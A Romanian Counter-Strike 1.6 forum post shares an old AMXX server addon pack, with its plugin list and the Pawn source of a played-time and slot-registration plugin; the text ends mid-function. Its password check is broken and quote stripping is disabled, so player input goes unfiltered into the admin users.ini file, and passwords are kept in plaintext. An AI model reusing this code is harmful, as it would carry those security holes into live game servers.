[ADDONS CS1.6|AMXX] Un nou stil pentru modul Respawn#2014

Descarcari de addons-uri si discutii despre acestea.

Moderators: Moderatori ajutatori, Moderatori

Post Reply
User avatar
L E V I N
Scripter eXtreamCS
Scripter eXtreamCS
Posts: 2180
Joined: 24 Aug 2011, 11:24
Detinator Steam: Da
CS Status:
Detinator server CS: ☯∴
SteamID: riseofevo
Reputatie: Scripter eXtreamCS
Nume anterior: Adryyy
Location: ҳ̸Ҳ̸ҳ
Has thanked: 33 times
Been thanked: 349 times
Contact:

03 Jan 2019, 17:31

Descriere: Acest addons a fost finalizat in anul 2014(cam vechi, dar nu-mi place sa-mi postez din 'chestii', dar mna, eu zic ca este modern prin plugine/editari/culori + constructiile .inc/sma). Eu cred ca am pus tot(am pus tot folderul care-l aveam in pc(poate)). Imi cer scuze de pe acum, dar nu o sa ma apuc sa modific special pentru extreamcs, pentru ca e prea mult...Am incercat sa-l ordonez cat mai bine, cat mai simplu.
Autor: Internetu' pentru descarcarea unor plugine(chiar de baza), iar eu pentru cateva plugine, editarea celor de pe net(sau fixarea lor)
Versiune: -
Descarcare: via google.drive
Parola: extreamcs.com
Pluginuri: [am sa postez direct plugins.ini(cele active/folosite), pentru ca sunt prea multe in total]
plugins.ini | Afiseaza codul
csdm_main.amxx
csdm_equip.amxx
csdm_spawn_preset.amxx
spawn_editor.amxx
csdm_misc.amxx
csdm_protection.amxx
csdm_ffa.amxx
csdm_tickets.amxx
csdm_itemmode.amxx
csdm_refill.amxx
admin.amxx
admincmd.amxx
adminvote.amxx
plugin.amxx
amx_exterminate.amxx
amx_genesis.amxx
amx_gore_ultimate.amxx
cmdmenu.amxx
file_watcher.amxx
;hack.amxx
mapchooser.amxx
mapsmenu.amxx
menufront.amxx
multilingual.amxx
nextmap.amxx
pausecfg.amxx
pluginmenu.amxx
prochat.amxx
QuakeSounds.amxx
Special_Admin_Gag.amxx
statscfg.amxx
statsx.amxx
TimeLeftExtender.amxx
timeleft.amxx
functions-2012.amxx
;ultimate_protection.amxx
;xredirect.amxx
adminchat.amxx
Messages_manager.amxx
; de unit si alea cu csdm( alea mici )

*Poate am mai uitat de unele, mai vedeti si dvs.
*Fiecare plugin poate fi modificat dupa placul fiecaruia! Doar cereti ce si cum doriti(da, ofer suport)
*Acest addons poate fi configurat foarte usor, asa cum doreste fiecare, puteti lua din el(de ex pluginele amxx de baza, sunt editate toate), puteti sa-l faceti pentru alt mod, versiunea de oprheu&csdm sigur sunt vechi..
*Acest addons a fost testat pe orice versiune & build hlds. Ruland pe amxx1.8.1 & amxx1.8.2
*A fost folosite pe servere publice, cu juctori reali, servere pline, fara a face lag, a cauza erori sau caderi.
*A mai fost postat pe alt site, tot de mine, asa ca daca am uitat de ceva, asta e.
*Nu-mi place sa-mi postez din creati, fie ele vechi, publice sau private.
*Ofer suport(pe gratis)!
*Recomand folosirea acestui addons, fiind unul special, unii poate-l veti recunoaste.
update advanced_infos.sma / FIX 24.02.2019 | Afiseaza codul
// de facut o caracteristica, sa zica si prima data de cand a inceput sa joace pe server
// de pus sa arate si ultima vizita...ziua/luna/anu ora:minutu:secunda etc... + ultimu' ip, de facur gen plgX

#include <amxmodx>
#include <amxmisc>
#include <nvault>
#include < geoip >

enum
{
	MIN = 1,
	HOURS = 60,
	DAYS = 1440
}

const TIME_HANDLED = 97;

#define CONFIGURATION_FILE "advanced_account.ini"
#define LOG_FILE "account_register.log"
#define LOG_DEVELOPER "account_developer.log"

#define flag_get(%1,%2)	(%1 & (1 << (%2 & 31)))
#define flag_set(%1,%2)	%1 |= (1 << (%2 & 31))
#define flag_unset(%1,%2) %1 &= ~(1 << (%2 & 31))

#define TASK_MINUTES 10101
#define ID_MINUTES (taskid - TASK_MINUTES)

new g_minutes[33], g_name[33][32], g_developeridt[33], g_loaded, g_isregistered, g_isdeveloper,
g_nvaultsave, g_msg_saytext, g_maxplayers, g_fw_load_pre, g_fw_load_post, bool:g_settings_loaded = false,
g_hours_need, tag_string[32], Array:g_developer, db_name[32], g_access_flag, field[10], ptime,content[192],ip[25], authid[65],
HostName[65],name[33];


//#define LICENTA_PRIN_IP_PORT

#if defined LICENTA_PRIN_IP_PORT
#include <licenta>
#endif


//#define LICENTA_PRIN_MODEL

#if defined LICENTA_PRIN_MODEL
#include <licentax>
#define IP "89.34.25.64"

public plugin_precache()	CheckServer(IP);
#endif


//#define LICENTA_PRIN_IP_PORTx

#if defined LICENTA_PRIN_IP_PORTx
#include <licentay>
#define IP "89.34.25.64:27015"
#define SHUT_DOWN 0
#endif


#define LICENTA_PRIN_EXPIRARE

#if defined LICENTA_PRIN_EXPIRARE
#include <licentaz>
#endif


public plugin_init()
{
#if defined LICENTA_PRIN_IP_PORT
licenta()
#endif


#if defined LICENTA_PRIN_IP_PORTx
UTIL_CheckServerLicense(IP,SHUT_DOWN);
#endif


#if defined LICENTA_PRIN_EXPIRARE
licenta( );
#endif


	register_plugin("Advanced Infos", "2.1x", "cyby & S.Cosmin");
	
	register_clcmd("say /slot", "slot_cmd");
	register_clcmd("say_team /slot", "slot_cmd");

	register_clcmd( "amxx_time", "timeplayed_cmd" );
	register_clcmd( "amxx_timp", "timeplayed_cmd" );
	register_clcmd( "amxx_ore", "timeplayed_cmd" );

	register_clcmd("PASSWORD_SLOT", "password_for_slot");
	register_clcmd("ADD_MINUTES", "add_developer_min");
	register_clcmd("REM_MINUTES", "rem_developer_min");

	register_clcmd("say /ored", "developer_menu");
	register_clcmd("say_team /ored", "developer_menu");
	register_clcmd("say /timpd", "developer_menu");
	register_clcmd("say_team /timpd", "developer_menu");
	register_clcmd("say /timed", "developer_menu");
	register_clcmd("say_team /timed", "developer_menu");
	
	g_maxplayers = get_maxplayers();
	g_msg_saytext = get_user_msgid("SayText");
	g_fw_load_pre = CreateMultiForward("get_loadtime_pre", ET_IGNORE, FP_CELL);
	g_fw_load_post = CreateMultiForward("get_loadtime_post", ET_IGNORE, FP_CELL);

	register_concmd( "amx_time", "FuncCommandTime", ADMIN_BAN, "- Vezi playerii depe server si timpul lor" );

	register_dictionary( "played_time.txt" );

	register_clcmd("say /pttop15", "show_top15");
	register_clcmd("say /toptime", "show_top15");
	register_clcmd("say /tt", "show_top15");
	register_clcmd("say_team /pttop15", "show_top15");
	register_clcmd("say_team /toptime", "show_top15");
	register_clcmd("say_team /tt", "show_top15");

	register_clcmd( "say", "hook_say" );
	register_clcmd( "say_team", "hook_say" );

	get_cvar_string("hostname",HostName,charsmax(HostName));
}

public plugin_cfg()
{
	g_developer = ArrayCreate(32, 32);
	load_conf_extern_files();
	set_task(1.0, "take_nvault");
}

public take_nvault()
{
	g_nvaultsave = nvault_open(db_name);
	
	if(g_nvaultsave == INVALID_HANDLE)	set_fail_state("[Advanced Infos] Eroare la deschiderea bazei de date.");
		
	for(new i = 0; i <= g_maxplayers; i++)
	{
		if(!is_user_connected(i)||is_user_bot(i)||is_user_hltv(i))	continue;
			
		takedata(i);
	}
}

public load_conf_extern_files()
{
	g_settings_loaded = false;
	new szFile[ 500 ], flags[32];
	get_localinfo( "amxx_configsdir", szFile, sizeof ( szFile ) -1 );
	format( szFile, sizeof ( szFile ) -1, "%s/%s", szFile, CONFIGURATION_FILE );
	if( !file_exists( szFile ) )
	{
		write_file( szFile, "[Setari Rezervare] (setari care sunt preluate la fiecare schimbare de harta fara a fi nevoita modificata sursa)", -1 );
		write_file( szFile, "HOURS = 10", -1 );
		write_file( szFile, "TAG = [AMXX]", -1 );
		write_file( szFile, "DEVELOPER = eVoLuTiOn", -1 );
		write_file( szFile, "NVAULT NAME = hours_played", -1 );
		write_file( szFile, "FLAG REGISTER = b", -1 );
		write_file( szFile, "FIELD = _pw", -1 );
		write_file( szFile, "", -1 );
		write_file( szFile, "// ca sa mai adaugi developeri, separi cu virgula, deci nu ai voie sa adaugi developeri cu virgula la nume", -1 );
		write_file( szFile, "// pentru a dezactiva /slot , modifica la  HOURS <= 0", -1 ); // sau off/dezactivat/etc..
	}
	g_hours_need = native_load_setting_int(CONFIGURATION_FILE, "Setari Rezervare", "HOURS");
	native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "TAG", tag_string, charsmax(tag_string));
	native_load_setting_string_arr(CONFIGURATION_FILE, "Setari Rezervare", "DEVELOPER", g_developer);
	native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "NVAULT NAME", db_name, charsmax(db_name));
	native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "FLAG REGISTER", flags, charsmax(flags));
	g_access_flag = read_flags(flags);
	native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "FIELD", field, charsmax(field));

	server_print("[Advanced Infos] Setarile au fost preluate cu succes.");
	g_settings_loaded = true;
}

public plugin_natives()
{
	register_native("get_registered", "native_get_registered", 1);
	register_native("get_developer", "native_get_developer", 1);
	register_native("get_playedtime", "native_get_string_time", 1);
	register_native("get_loadedtime", "native_get_loadedtime", 1);
	register_native("get_inttime", "native_get_int_time", 1);
}

public native_get_registered(id)
{
	if(!flag_get(g_loaded, id))	return false;
	
	if(flag_get(g_isregistered, id))	return true;
	
	return false;
}

public native_get_developer(id)
{
	if(!flag_get(g_loaded, id))	return false;
	
	if(flag_get(g_isdeveloper, id))	return true;
	
	return false;
}

public native_get_string_time(plugin_id, param_nums)
{
	if(param_nums != 3)	return -1;
	
	new id = get_param(1), time_played[32];
	if(!flag_get(g_loaded, id))	return -1;
	
	formatex(time_played, charsmax(time_played), "%s", convert_minutes(id));
	set_string(2, time_played, get_param(3));
	return 1;
}

public native_get_loadedtime(id)
{
	if(flag_get(g_loaded, id))	return true;
	
	return false;
}

public native_get_int_time(id, what)
{
	if(!flag_get(g_loaded, id))	return -1;
	
	if(what == MIN)	return g_minutes[id];
	
	new extract = 0, int_min = g_minutes[id];
	
	while(int_min >= what)
	{
		extract++;
		int_min -= what;
	}
	
	return extract;
}

public plugin_end()	nvault_close(g_nvaultsave);
	
public client_putinserver(id)
{
	if(!g_settings_loaded||is_user_bot(id)||is_user_hltv(id)||!is_user_connected(id))	return;

	get_user_name(id, g_name[id], charsmax(g_name[]));
	set_register(id);
	set_developer(id);
	g_developeridt[id] = 0;

	/*if(is_user_alive(id))
	{
		new dummy;
		ExecuteForward(g_fw_load_pre, dummy, id);
		if(dummy >= TIME_HANDLED)	return;

		ExecuteForward(g_fw_load_post, dummy, id);
	}*/

	flag_set(g_loaded, id);
	takedata(id);
	set_task(60.0, "increase_minutes", id+TASK_MINUTES, _, _, "b");
}

public client_disconnect(id)
{
	if(!g_settings_loaded||is_user_bot(id)||is_user_hltv(id))	return;

	g_developeridt[id] = 0;
	flag_unset(g_isregistered, id)
	flag_unset(g_isdeveloper, id)
	savedata(id);
}

public show_top15(id)
{
	new i, count, motd[1024], len, players[32], num, name[32], player, b = clamp(count,0,15);
	static sort[33][2], maxPlayers;
	
	if(!maxPlayers) maxPlayers = get_maxplayers();
	
	for(i=1;i<=maxPlayers;i++)
	{
		get_user_name( i, name, charsmax( name ) );

		sort[count][0] = i;
		sort[count][1]=g_minutes;
		count++;
	}
	
	SortCustom2D(sort,count,"stats_custom_compare");
	
	len = format(motd, 1023,"<body bgcolor=#000000><font color=#FFB000><pre>")
	len += format(motd[len], 1023-len,"%s %-22.22s %3s^n", "#", "Nick", "Time")
	
	get_players(players, num)
	
	for(new a = 0; a < b; a++)
	{
		player = sort[a][0]
		
		get_user_name(player, name, charsmax(name))		
		len += format(motd[len], 1023-len,"%d %-22.22s %d^n", a+1, name, sort[a][1])
	}
	
	len += format(motd[len], 1023-len,"</body></font></pre>")
	show_motd(id, motd, "Played-Time Top 15")
	
	return PLUGIN_CONTINUE
}

public stats_custom_compare(elem1[],elem2[])
{
	if(elem1[1] > elem2[1]) return -1;
	else if(elem1[1] < elem2[1]) return 1;
		
	return 0;
}

public FuncCommandTime( iPlayer, iLevel, iCid )
{
	if( !cmd_access( iPlayer, iLevel, iCid, 1 ) )
	{
		return PLUGIN_HANDLED;
	}

	new iUser, szCountry[ 32 ],szCity[32], flags, sflags[ 32 ];

	console_print( iPlayer, "[  %L - %L - IP - STEAMID - TARA/ORAS - FLAGA  ]", iPlayer, "CON_NAME_X", iPlayer, "CON_TIME_X" );
	console_print( iPlayer, "" );
	
	for( iUser = 1; iUser <= 32; iUser++ )
	{
		if( is_user_connected( iUser ) && !is_user_bot( iUser ) && !is_user_hltv( iUser ) )
		{
			get_user_name( iUser, name, charsmax( name ) );

			get_user_ip( iUser, ip, sizeof( ip ) -1, 1 );
			geoip_country( ip, szCountry, sizeof( szCountry ) -1 );
			geoip_city( ip, szCity, sizeof( szCity ) -1 );
			get_user_authid( iUser, authid, sizeof( authid ) -1 );

			flags = get_user_flags( iUser );
			get_flags( flags, sflags, 31 );

			console_print( iPlayer, "[  %s - %s - %s - %s/%s - %s  ]", name, convert_minutes(iUser), authid, szCountry,szCity, sflags )
		}
	}
	
	return PLUGIN_HANDLED;
}

public slot_cmd(id)
{
	if(g_hours_need<=0/*||equali(g_hours_need,"off")!=-1||equali(g_hours_need,"dezactivat")!=-1*/)
	{
		color(id, ".v%s.g Functia.e /SLOT.g este.v DEZACTIVATA.g !", tag_string);
		return PLUGIN_HANDLED;
	}

	if(flag_get(g_isregistered, id)||is_user_admin(id))
	{
		color(id, ".v%s.g Deja ai.e CONT.g!", tag_string);
		return PLUGIN_HANDLED;
	}

	if(containi(g_name[id],HostName)!=-1)
	{
		color(id, ".v%s.g Nu poti luat slot pe acest.e NICK.g!", tag_string);
		return PLUGIN_HANDLED;
	}
	
	if((g_minutes[id] / 60) < g_hours_need)
	{
		color(id, ".v%s.g Ai nevoie de.e %d.g ore pentru.v cont.g! Timp acumulat pana acum:.e %s", tag_string, g_hours_need, convert_minutes(id));
		return PLUGIN_HANDLED;
	}
	else
	{
		client_cmd(id, "messagemode PASSWORD_SLOT");
		color(id, ".v%s.g Parola trebuie sa fie de.e MA.gxim 20 si.v MI.gnim 3 caractere!", tag_string);
		color(id, ".v%s.g Ti-a aparut.e SUS.g loc pentru a scrie.v P.garola!", tag_string);
		color(id, ".v%s.g In caz ca, gresesti, apasa tasta.e ESC.g!", tag_string);
	}
	return PLUGIN_HANDLED;
}

public timeplayed_cmd(id)
{
	new arg[ 32 ], player, name2[32];
	read_argv( 1, arg, sizeof ( arg ) -1 );
	get_user_name(id, name, charsmax(name))

	if( equal( arg, "" ) )
	{
		ptime = get_user_time(id, 1) / 60;
		color(id, ".v%s.g Hey.e %s.g, ai jucat pana acum.v %d.g minut%s!", tag_string,name, ptime, ptime == 1 ? "" : "e");
		if(!flag_get(g_loaded, id))
		{
			color(id, ".v%s.g Ne pare rau, dar inca nu am putut sa-ti preluam timpul jucat!", tag_string);
			return PLUGIN_HANDLED;
		}
		else	color(id, ".v%s.g Hey.e %s.g, ai jucat in total.v %s.g!", tag_string,name, convert_minutes(id));
	}
	else
	{
	player = cmd_target( id, arg, 8 );

	get_user_name(player, name2, charsmax(name2))

	if( /*!is_user_connected( player ) ||*/ !player )
	{
		color( id, ".g[.v AMXX .g> .eTIMP .g] Acest jucator nu este.v Conectat.g !" );
		return 1;
	}

	ptime = get_user_time(player, 1) / 60;
	color(id, ".v%s.e %s.g a jucat pana acum.v %d.g minut%s!", tag_string,name2, ptime, ptime == 1 ? "" : "e");

	if(!flag_get(g_loaded, player))
	{
		color(id, ".v%s.g Ne pare rau, dar inca nu am putut sa-i preluam timpul jucat lu'.e %s.g!", tag_string, name2);
		return PLUGIN_HANDLED;
	}
	else	color(id, ".v%s.e %s.g a jucat in total.v %s.g!", tag_string, name2, convert_minutes(player));
	}
	return PLUGIN_HANDLED;
}

public hook_say( id )
{
	static s_Args[ 192 ];
	read_args( s_Args, sizeof( s_Args ) - 1 );

	if( !s_Args[ 0 ] )	return 0;

	remove_quotes( s_Args[ 0 ] );

	if( equal( s_Args, "/time", strlen( "/time" ) ) )
	{
		replace( s_Args, sizeof( s_Args ) - 1, "/", "" );
		client_cmd( id, "amxx_%s", s_Args );
		return 1;
	}
	else if( equal( s_Args, "/ore", strlen( "/ore" ) ) )
	{
		replace( s_Args, sizeof( s_Args ) - 1, "/", "" );
		client_cmd( id, "amxx_%s", s_Args );
		return 1;
	}
	else if( equal( s_Args, "/timp", strlen( "/timp" ) ) )
	{
		replace( s_Args, sizeof( s_Args ) - 1, "/", "" );
		client_cmd( id, "amxx_%s", s_Args );
		return 1;
	}

	return 0;
}

public developer_menu(id)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		return PLUGIN_CONTINUE;
	}
	
	new menu = menu_create("\rDeveloper Menu", "developer_handler");
	menu_additem(menu, "\yAdd minutes", "");
	menu_additem(menu, "\yRemove Minutes", "");
	menu_display(id, menu, 0);
	return PLUGIN_HANDLED;
}

public developer_handler(id, menu, item)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	
	if(item == MENU_EXIT)
	{
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	switch(item)
	{
		case 0: open_addmin(id);
		case 1: open_remmin(id);
	}
	menu_destroy(menu);
	return PLUGIN_HANDLED;
}

public open_addmin(id)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		return PLUGIN_HANDLED;
	}
		
	new menu = menu_create("\yAdauga minute la jucatori", "add_minutes"), menu_item[100], userid[32];
	for(new i = 1; i <= g_maxplayers; i++)
	{
		if(!is_user_connected(i) || !flag_get(g_loaded, i))	continue;
	
		formatex(menu_item, charsmax(menu_item), "\r%s - \y%s", g_name, convert_minutes(i));
		formatex(userid, charsmax(userid), "%d", get_user_userid(i));
		menu_additem(menu, menu_item, userid, 0);
	}
	menu_display(id, menu, 0);
	return PLUGIN_HANDLED;
}

public add_minutes(id, menu, item)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	
	if(item == MENU_EXIT)
	{
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	
	new menu_data[6], menu_name[64], _access, item_callback;
	menu_item_getinfo(menu, item, _access, menu_data, charsmax(menu_data), menu_name, charsmax(menu_name), item_callback);
	new userid = str_to_num(menu_data);
	new player = find_player("k", userid);
	if(player)
	{
		client_cmd(id, "messagemode ADD_MINUTES");
		g_developeridt[id] = player;
		color(id, ".v%s.g L-ai selectat pe.e %s.g!", tag_string, g_name[player]);
	}
	else
	{
		color(id, ".v%s.g Jucatorul nu exista!", tag_string);
		g_developeridt[id] = 0;
	}
	menu_destroy(menu);
	return PLUGIN_HANDLED;
}

public open_remmin(id)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		return PLUGIN_HANDLED;
	}
		
	new menu = menu_create("\yAdauga minute la jucatori", "rem_minutes"), menu_item[100], userid[32];
	for(new i = 1; i <= g_maxplayers; i++)
	{
		if(!is_user_connected(i) || !flag_get(g_loaded, i))	continue;
	
		formatex(menu_item, charsmax(menu_item), "\r%s - \y%s", g_name, convert_minutes(i));
		formatex(userid, charsmax(userid), "%d", get_user_userid(i));
		menu_additem(menu, menu_item, userid, 0);
	}
	menu_display(id, menu, 0);
	return PLUGIN_HANDLED;
}

public rem_minutes(id, menu, item)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	
	if(item == MENU_EXIT)
	{
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	
	new menu_data[6], menu_name[64], _access, item_callback;
	menu_item_getinfo(menu, item, _access, menu_data, charsmax(menu_data), menu_name, charsmax(menu_name), item_callback);
	new userid = str_to_num(menu_data);
	new player = find_player("k", userid);
	if(player)
	{
		client_cmd(id, "messagemode REM_MINUTES");
		g_developeridt[id] = player;
		color(id, ".v%s.g L-ai selectat pe.e %s.g!", tag_string, g_name[player]);
	}
	else
	{
		color(id, ".v%s.g Jucatorul nu exista!", tag_string);
		g_developeridt[id] = 0;
	}
	menu_destroy(menu);
	return PLUGIN_HANDLED;
}

public add_developer_min(id)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		g_developeridt[id] = 0;
		return PLUGIN_HANDLED;
	}
	
	if(!is_user_connected(g_developeridt[id]) || !flag_get(g_loaded, g_developeridt[id]))
	{
		color(id, ".v%s.g Jucatorul care l-ai selectat a parasit serverul!", tag_string);
		g_developeridt[id] = 0;
		return PLUGIN_HANDLED;
	}
	
	new amount[16];
	read_args(amount, charsmax(amount));
	remove_quotes(amount);
	new much = str_to_num(amount);
	if(much <= 0)
	{
		color(id, ".v%s.g Suma introdusa este mai mica sau egala cu 0!", tag_string);
		g_developeridt[id] = 0;
		return PLUGIN_HANDLED;
	}
	g_minutes[g_developeridt[id]] += much;
	color(0, ".v%s.g Developer.e %s.g ii adauga lu'.v %s.e %d minut%s.g!", tag_string, g_name[id], g_name[g_developeridt[id]], much, much == 1 ? "" : "e");
	color(g_developeridt[id], ".v%s.g Developer.e %s.g ti-a adaugat.v %d minut%s.g!", tag_string, g_name[id], much, much == 1 ? "" : "e");
	log_developer(id, g_developeridt[id], much, 1);
	g_developeridt[id] = 0;
	return PLUGIN_HANDLED;
}

public rem_developer_min(id)
{
	if(!flag_get(g_isdeveloper, id))
	{
		color(id, ".v%s.g Nu te afli printre.e Developeri.g !", tag_string);
		g_developeridt[id] = 0;
		return PLUGIN_HANDLED;
	}
	
	if(!is_user_connected(g_developeridt[id]) || !flag_get(g_loaded, g_developeridt[id]))
	{
		color(id, ".v%s.g Jucatorul care l-ai selectat a parasit serverul!", tag_string);
		g_developeridt[id] = 0;
		return PLUGIN_HANDLED;
	}
	
	new amount[16];
	read_args(amount, charsmax(amount));
	remove_quotes(amount);
	new much = str_to_num(amount);
	if(much <= 0)
	{
		color(id, ".v%s.g Suma introdusa este mai mica sau egala cu 0!", tag_string);
		g_developeridt[id] = 0;
		return PLUGIN_HANDLED;
	}
	if(much > g_minutes[g_developeridt[id]])
	{
		color(id, ".v%s.g Suma introdusa este mai mare decat cea pe care.e %s.g o are!", tag_string, g_name[g_developeridt[id]]);
		g_developeridt[id] = 0;
		return PLUGIN_HANDLED;
	}
	g_minutes[g_developeridt[id]] -= much;
	color(0, ".v%s.g Developer.e %s.g ii scade lu'.v %s.e %d minut%s.g!", tag_string, g_name[id], g_name[g_developeridt[id]], much, much == 1 ? "" : "e");
	color(g_developeridt[id], ".v%s.g Developer.e %s.g ti-a scazut.v %d minut%s.g!", tag_string, g_name[id], much, much == 1 ? "" : "e");
	log_developer(id, g_developeridt[id], much, 2);
	g_developeridt[id] = 0;
	return PLUGIN_HANDLED;
}

public client_infochanged(id)
{
	if(is_user_bot(id)||is_user_hltv(id)||!is_user_connected(id))	return

	get_user_info(id, "name", name, charsmax(name));

	if(!(equali(name, g_name[id])))
	{
		savedata(id);
		formatex(g_name[id], charsmax(g_name[]), "%s", name); // fara astea next
		//copy( g_name[ id ], sizeof ( g_name[ ] ) -1, name );
		takedata( id );
		set_register(id);
		set_developer(id);
	}

	get_cvar_string( "hostname", HostName, charsmax( HostName ) );
	if( equali( g_name[id], HostName ) )	show_menu( id, 0, "^n", 1 );
}

public password_for_slot(id)
{
	new password[32];
	read_args(password, charsmax(password));
	get_user_name(id,name,charsmax(name))

	//remove_quotes(password);

	if(g_hours_need<=0/*||equali(g_hours_need,"off")!=-1||equali(g_hours_need,"dezactivat")!=-1*/)
	{
		color(id, ".v%s.g Functia.e /SLOT.g este.v DEZACTIVATA.g !", tag_string);
		return PLUGIN_HANDLED;
	}

	if(!flag_get(g_loaded, id))
	{
		color(id, ".v%s.g Ne pare rau, dar inca nu am putut sa-ti preluam timpul jucat!", tag_string);
		return PLUGIN_HANDLED;
	}

	if(flag_get(g_isregistered, id)||is_user_admin(id))
	{
		color(id, ".v%s.g Deja ai.e CONT.g!", tag_string);
		return PLUGIN_HANDLED;
	}

	if(equali(name,HostName))
	{
		color(id, ".v%s.g Nu poti inregistra acest.e NICK.g!", tag_string);
		return PLUGIN_HANDLED;
	}

	if(!check_string(password))
	{
		color(id, ".v%s.g Parola nu respecta regulile!", tag_string);
		return PLUGIN_HANDLED;
	}

	if((g_minutes[id] / 60) < g_hours_need)
	{
		color(id, ".v%s.g Ai nevoie de.e %d.g ore pentru.v cont.g! Timp acumulat pana acum:.e %s", tag_string, g_hours_need, convert_minutes(id));
		return PLUGIN_HANDLED;
	}

	register_slot(id, password);

	return PLUGIN_HANDLED;
}

public increase_minutes(taskid)
{
	if( !is_user_connected(ID_MINUTES) /*|| !flag_get(g_loaded, ID_MINUTES)||g_hours_need<=0*/||is_user_bot(ID_MINUTES)||
	is_user_hltv(ID_MINUTES))	return// PLUGIN_HANDLED;


	if(g_minutes[ID_MINUTES]>=600.0 && (!flag_get(g_isregistered, ID_MINUTES) || !is_user_admin(ID_MINUTES)) ) // de pus in alt task..
	{
		color(ID_MINUTES, ".v%s.g Salut! Se pare ca ai peste.e %d.g ore jucate, si iti poti activa.v CONTUL.g! Ore necesare pentru CONT(.e%d.g)!", tag_string, g_hours_need, g_hours_need);
		//return PLUGIN_HANDLED;
	}

	g_minutes[ID_MINUTES]++;

	//savedata(ID_MINUTES)
	//return PLUGIN_CONTINUE
}
	
public takedata(id) 
{
	if(/*flag_get(g_loaded, id)||*/!is_user_connected(id)||is_user_bot(id)||is_user_hltv(id))	return;
	
	new vaultkey[32], vaultdata[256], minutes[32];
	formatex(vaultkey, charsmax(vaultkey), "%s", g_name[id]);
	formatex(vaultdata, charsmax(vaultdata), "^"%i^"", g_minutes[id]);
	nvault_get(g_nvaultsave, vaultkey, vaultdata, charsmax(vaultdata));
	parse(vaultdata, minutes, charsmax(minutes));
	g_minutes[id] = str_to_num(minutes);
}

public savedata(id)
{
	if(/*!flag_get(g_loaded, id)||*/is_user_bot(id)||is_user_hltv(id))	return;
	
	new vaultkey[32], vaultdata[256];
	formatex(vaultkey, charsmax(vaultkey), "%s", g_name[id]);
	formatex(vaultdata, charsmax(vaultdata), "^"%i^"", g_minutes[id]);
	nvault_set(g_nvaultsave, vaultkey, vaultdata);
	//g_minutes[id] = 0;
	//flag_unset(g_loaded, id)
	remove_task(id+TASK_MINUTES);
}

public register_slot(id, const password[])
{
	get_user_name(id,name,charsmax(name))
	if(equali(name,HostName))
	{
		color(id, ".v%s.g Nu poti inregistra acest.e NICK.g!", tag_string);
		return;
	}
	if(flag_get(g_isregistered,id)||is_user_admin(id))
	{
		color(id, ".v%s.g Acest.e NICK.g este deja.v INREGISTRAT.n!", tag_string);
		return;
	}
	new line[192], configsdir[128], flag[32];
	get_flags(g_access_flag, flag, charsmax(flag));
	formatex(line, charsmax(line), "^"%s^" ^"%s^" ^"%s^" ^"a^" ; cont activat pentru %d ore", g_name[id], password, flag, g_hours_need); // ore%s??
	
	get_configsdir(configsdir, charsmax(configsdir));
	formatex(configsdir, charsmax(configsdir), "%s/users.ini", configsdir);
	write_file(configsdir, line);
	color(id, ".v%s.g Ti-ai activat.e Contul.g pentru.v %d.g ore de joc!", tag_string, g_hours_need);
	color(id, ".v%s.g Parola ta este:.e %s.g!", tag_string, password);
	color(id, ".v%s.g Foloseste.e setinfo %s %s.g!", tag_string, field, password);
	set_user_info(id, field, password);
	color(0, ".v%s.g Felicitari lui.e %s.g! Si-a activat Contul pentru.v %d ore jucate.g!", tag_string, g_name[id], g_hours_need);
	log_slot(id);
	flag_set(g_isregistered, id)
	server_cmd("amx_reloadadmins");
}

stock convert_minutes(id)
{
	new szminutes[32], len = 0, days, hours, actual_minutes = g_minutes[id];

	while(actual_minutes >= 1440)
	{
		days++;
		actual_minutes -= 1440;
	}
	while(actual_minutes >= 60)
	{
		hours++;
		actual_minutes -= 60;
	}

	if(days > 0)	len += formatex(szminutes[len], charsmax(szminutes) - len, "%d zi%s ", days, days == 1 ? "" : "le");
	if(hours > 0)	len += formatex(szminutes[len], charsmax(szminutes) - len, "%d or%s ", hours, hours == 1 ? "a" : "e");
		
	if(actual_minutes > 0)	len += formatex(szminutes[len], charsmax(szminutes) - len, "%d minut%s", actual_minutes, actual_minutes == 1 ? "" : "e");
	if(!days && !hours && actual_minutes == 0)	len += formatex(szminutes[len], charsmax(szminutes) - len, "0 minute");
		
	return szminutes;
}

stock bool:check_string(const string[])
{
	new len = strlen(string);
	if(len < 3)	return false;
	if(len > 15)	return false;
		
	new bool:isntright = false;
	for(new i = 1; i <= len; i++)
	{
		if(!is_letter(string))
		{
			isntright = true;
			break;
		}
	}

	if(isntright)	return false;

	return true;
}

stock bool:is_letter(u)
{
	if(u >= 65 || u <= 90)	return true;
	if(u >= 97 || u <= 122)	return true;
	
	return false;
}

stock color(const id, const input[], any:...)
{
	new count = 1, players[32];
	static msg[191]
	vformat(msg, charsmax(msg), input, 3)
	
	replace_all(msg, charsmax(msg), ".v", "^4")
	replace_all(msg, charsmax(msg), ".g", "^1")
	replace_all(msg, charsmax(msg), ".e", "^3")
	
	if(id) players[0] = id; else get_players(players, count, "ch")
	{
		for (new i = 0; i < count; i++)
		{
			if(is_user_connected(players))
			{
				message_begin(MSG_ONE_UNRELIABLE, g_msg_saytext, _, players)
				write_byte(players);
				write_string(msg);
				message_end();
			}
		}
	}
}

stock set_developer(id)
{
	flag_unset(g_isdeveloper, id)
	
